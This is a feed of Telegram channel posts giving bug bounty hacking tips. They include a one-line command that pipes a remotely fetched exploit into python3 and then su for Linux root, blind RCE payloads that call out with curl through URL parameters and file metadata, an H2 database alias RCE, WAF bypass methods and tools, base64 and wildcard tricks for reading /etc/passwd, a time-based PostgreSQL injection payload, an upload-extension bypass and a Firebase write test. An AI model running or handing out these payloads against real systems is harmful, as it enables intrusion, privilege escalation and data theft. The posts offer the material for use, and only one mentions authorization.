Brut Security
17.7K subscribers
1.15K photos
102 videos
362 files
1.26K links
βœ…DM: @wtf_brut
βœ…For Ad: https://tlmtr.io/p/2flAsc
πŸ›ƒWhatsApp: https://wa.link/brutsecurity
🈴Training: https://brutsecurity.com
πŸ“¨Mail: info@brutsec.com
Download Telegram
Hey Hunter’s,
DarkShadow is here back again!

Ranking Most common /api vulnerable endpoints:

/api/v1/users
/api/v1/users/{userId}
/api/v1/oauth/token
/api/v1/forgot-password
/api/v1/debug or /api/v1/status


(not only /api/v1 also test for /api/v2)

🀫if WAF blocks your request then find ip origin and it might works with out bypassing by any extra waf bypass payloads!!!

#bugbountytips #info_leak
πŸ”₯9❀2
Hey Hunter's,
DarkShadow is here back again!

🚨 Import schema from H2 Database β†’ RCE via EXEC Alias ⚑

Creating an alias to execute system commands via Java Runtime

πŸ” Quick Analysis:
- Default oken validation
- H2 database exposed with unsafe configurations
- Ability to create custom ALIAS β†’ leads to RCE
- No proper input validation or restriction on JDBC params


ο»Ώ
🧠 Bug Bounty Tips:


- Always check hidden/internal endpoints like "/getSchema", "/actuator", "/env"
- Look for H2 / embedded DB usage β†’ often misconfigured
- Try injecting JDBC params (INIT, TRACE, etc.)
- Don’t ignore default tokens or exposed headers
- Think beyond SQLi β†’ DB features themselves can be weaponize
d



So guys if you really enjoy to read such methods show your love ❀️

#bugbountytips #rce
❀8😱6
This media is not supported in your browser
VIEW IN TELEGRAM
Hey Hunter's,
DarkShadow is here back again!


🚨History Breaking exploit😳

CVE-2026-31431 (nickname: copy fail)

A Linux Privilege Escalation in all the major OS, hidden in the kernel for 9 years and discovered by an Ai !!!

Exploit code:
curl copy.fail/exp | python3 && su


Guys, AI is going to be very dangerous😨

Don't forget to follow me x.com/darkshadow2bd

#exploit #bugbountytips #linux
❀8πŸ”₯5πŸ‘2
Hey Hunter's,
DarkShadow is here back again!

?url= ❌SSRF, βœ…RCE

If you find a parameter that passes through the URL, before testing for SSRF, try testing for RCE.


1. bypass: ?url=http://x"; [now add here your blind rce payload]

2. payload: curl${IFS}burp-collab-link;#


Now, guys, if you genuinely enjoy reading such methods, show your appreciation. I’ll soon publish a very interesting tool!

And Don't forget to follow me x.com/darkshadow2bd

#rce #bugbounty #bugbountytips
❀12πŸ”₯5πŸ‘1
Hey Hunter's,
DarkShadow is here back again!

Just now, I’ve dropped a new tool on GitHub that can hide anything inside nothing!

This is called Project-Invisible. Here’s the GitHub link:
https://github.com/darkshadow2bd/Project-Invisible

And don’t miss the full video on my YouTube channel:
https://youtu.be/t4yTY0Cg6Ds?si=ZG99_pev06yZFHGi

If you’re interested, you can join my YouTube channel. I’ll upload my methods regulerly in YouTube videos if you guys join here.

#tools #bugbountytips
❀4πŸ‘¨β€πŸ’»2πŸ‘1
Hey Hunter's,
DarkShadow is here back again!

file upload extension bypass for RCE ❌
metadata injection for RCE βœ…


File upload vulnerability not just bypassing extension, metadata can be exploited. you can try like:

{"Title\n-if\nsystem('curl burplink)||1\n-Comment":"x"}


guy's if you really love to read then show your love and react❀️

and don't forget to follow me x.com/darkshadow2bd

#bugbounty #bugbountytips #rce
❀6πŸ”₯4πŸ‘2
WAF Bypass Techniques + Tools

Here are some powerful tools and methods to help you bypass Web Application Firewalls during bug hunting:

### Tools:
- wafw00f β€” WAF fingerprinting tool
β†’ https://github.com/EnableSecurity/wafw00f
- bypass-firewalls-by-DNS-history β€” Discover origin IPs via old DNS records
β†’ https://github.com/vincentcox/bypass-firewalls-by-DNS-history
- CloudFail β€” Excellent for bypassing Cloudflare
β†’ https://github.com/m0rtem/CloudFail

### Effective Bypass Techniques:

1. Origin IP Discovery β€” Use historical DNS records (Censys, etc.) to find the real server IP and connect directly.
2. Dev/Staging Subdomains β€” These often don’t have WAF protection.
3. Case Variations β€” Try SeLeCt instead of SELECT
4. Comment Injection β€” SE//LECT
5. Multiple Encodings β€” URL β†’ Double URL β†’ Unicode, etc.
6. Parameter Pollution β€” ?id=1&id=2
7. HTTP Method Swap β€” Change from GET β†’ POST β†’ PUT
8. Content-Type Swap β€” Switch between form-data, JSON, XML
9. HTTP/2 Cleartext β€” Some WAFs only inspect HTTP/1.1

Quick WAF Detection Command:
curl -I https://target.com | grep -iE "server|cdn|cf-|x-"


Save this for your next bug bounty hunt! πŸ”₯

#BugBounty #WAFBypass #BugBountyTips #Infosec
❀8πŸ”₯5🫑5πŸ‘2😱1
url/?f=etc/passwd ==> 403
encode etc/passwd as base64

url/?f=L2V0Yy9wYXNzd2Q= ==> 200

#note
you can use this trick in SQL , SSTI , XSS , LFI , Etc...

By:@GodfatherOrwa

#bugbountytips #BugBounty
❀24πŸ‘5
πŸ” Detailed Bug Bounty Tip: Publicly Exposed Firebase Config β†’ Unauthorized Data Uploads

Found a juicy misconfiguration during a recon phase!

### Vulnerability:
Many web/mobile apps use Firebase Realtime Database (Google) and leave the configuration exposed in client-side JavaScript or source code. When the database security rules are not properly set (often left as default "true" for testing), anyone can read and write data without authentication.

This leads to unauthorized data injection, tampering, or even full database takeover.

### How to Test:
1. Hunt for Firebase config in JS files, source code, or APK (look for firebaseConfig, apiKey, databaseURL, projectId etc.)
2. Identify the database URL (usually `https://<project-id>.firebaseio.com`)
3. Test write access with a simple PUT request

### Exploitation Command:
curl -X PUT "https://your-project-id.firebaseio.com/poc.json" \
-d '{"POC": "Successful upload by Bug Hunter", "timestamp": "2026"}'


Replace your-project-id with the actual one. If successful, you'll be able to inject arbitrary data into the database.

Proof of Concept Result:
The database accepted the PUT request and stored the attacker-controlled JSON data.

### Impact:
- Data pollution / poisoning
- Injecting malicious content (e.g., XSS payloads, fake user data, phishing links)
- Potential account takeover or business logic abuse depending on how the app uses the data
- In severe cases β†’ complete database compromise

### How to Report & Fix (for devs):
- Set proper Firebase Realtime Database Security Rules (deny read/write by default)
- Use Firebase Authentication
- Avoid exposing sensitive config in client-side code when possible
- Use Firestore with stricter rules instead (if applicable)

Pro Tip: Always check .js files and network tab for firebaseio.com during recon. Many programs pay well for this!

#BugBounty #BugBountyTips #Firebase #WebAppSec #HackerOne #Bugcrowd #Pentesting #CyberSecurity
❀10πŸ‘7
Media is too big
VIEW IN TELEGRAM
Hey Hunter's,
DarkShadow is here back again!

(Sorry for the long delay, I was really too busy with my projects)

you can find vulnerabilities in chrome extensions!


All of your Chrome extensions are downloaded to your local storage. You can analyze them to find various vulnerabilities, and sometimes they contain sensitive API keys and tokens.


even you can use this dork to find you target company extensions:

site:chromewebstore.google.com "nasa.gov"

replace the nasa.gov to your target domain.


so guy's if you really love to read my methods follow me x.com/darkshadow2bd

#bugbountytips
❀5πŸ”₯2πŸ‘1
Hey Hunter's,
DarkShadow is here back again!

πŸ’€File upload extension bypass new methodβœ…

in media upload section you can upload files like: .png .jpg .txt .mov

but if you upload any php file it block: .php .jpg.php .php7 .shtml

The bypass is: ".php " (just add a simple space after .php)


This is a very effective and simple way to bypass file upload vulnerbaility. so guy's if you really enjoy to read my methods show your love ❀️

#bugbountytips #bypass
❀13πŸ‘5πŸ”₯5
β˜„οΈKnoXSS XSS Payload - confirm?.(1)
πŸ”Credit- @lu3ky13

#bugbounty #bugbountytips
Please open Telegram to view this post
VIEW IN TELEGRAM
❀4
πŸ”–Top 25 JavaScript path files used to store sensitive information in Web Application⬇️

01. /js/config.js
02. /js/credentials.js
03. /js/secrets.js
04. /js/keys.js
05. /js/password.js
06. /js/api_keys.js
07. /js/auth_tokens.js
08. /js/access_tokens.js
09. /js/sessions.js
10. /js/authorization.js
11. /js/encryption.js
12. /js/certificates.js
13. /js/ssl_keys.js
14. /js/passphrases.js
15. /js/policies.js
16. /js/permissions.js
17. /js/privileges.js
18. /js/hashes.js
19. /js/salts.js
20. /js/nonces.js
21. /js/signatures.js
22. /js/digests.js
23. /js/tokens.js
24. /js/cookies.js
25. /js/topsecr3tdonotlook.js

#InfoSec #CyberSecurity #Hacking #BugBounty #bugbountyTools #bugbountytips #Pentest #Fuzzing
πŸ”₯8❀4πŸ‘2
Hey Hunter's
DarkShadow is here back again!

⚑️Blind RCE via Chaining RequestsπŸ’€


one word for all:
"To exploit any high severity vulnerability you have to analyze and chain multiple request components"


How to approach chaining a bug:
β€’ First open your target in burpsuite (disable browser extensions to reduce other requests)
β€’ Brows the target maually as much possible (don't run automatic crawler do first manually)
β€’ Turn off proxy and review porxy history and send all the imporetent requests in 'Organizer' tab
β€’ Now play in repeater, and if you got anything interesting see the serial number of the request in proxy history
β€’ For chaining with other request analyze after the request history (this will help you to understand whats your second step request now)

THIS IS HOW YOU CAN FIND CRITICAL BUGS BY CHAINING THEM


so guy's if you really enjoy to read such as muthods don't forget follow me x.com/darkshadow2bd

#bugbountytips #rce
❀3πŸ‘3πŸ”₯1
Bug Bounty Tip – SQL Injection

Hard-to-exploit SQL injection?
This time-based payload worked when others failed:

''||(select 1 from (select pg_sleep(6))x)||'


Add it to your SQL wordlist.
Download - https://github.com/orwagodfather/SQL-Wordlist/blob/main/sql.txt

Credit: @GodfatherOrwa
Happy hunting β™₯

#bugbounty #bugbountytips #bugbountytip
1❀10πŸ—Ώ3πŸ”₯2πŸ‘1
🚨Bug Bounty Tip: Test Newline Injection in JSON Parameters

When testing API endpoints, don’t assume parameters like email accept only a single value.

For password-reset functionality, try newline injection:

{
"action": "reset-password",
"email": "accA@mail.com\naccB@mail.com"
}


If the backend fails to properly validate or sanitize the parameter, it may interpret both email addresses as separate recipients and send the password-reset link to both accounts.

This can indicate a parameter parsing / input validation flaw and, depending on the application logic and impact, potentially lead to account-related security issues.

Things to test:
β€’ \n and \r\n separators
β€’ Multiple values in the same parameter
β€’ JSON arrays vs. strings
β€’ Duplicate JSON keys
β€’ URL-encoded newline characters
β€’ Different API content types

Always test only on systems you’re authorized to assess.

#BugBounty #BugBountyTips #API #APISecurity #WebSecurity #Pentesting #CyberSecurity
❀12πŸ‘5πŸ”₯2πŸ‘1🀝1
🚨Nice tricks to bypass 403/401.
#BugBounty #bugbountytips
❀9πŸ‘3
/etc/passwd ==> WAF restriction? Use these:

/e?c/?asswd
/e*c/*asswd
/??c/?asswd
/??c/?assw?

Doesn't work always, just give it a try. 🎯
#bugbountytip #bugbountytips #bugbounty
❀20πŸ‘Ž3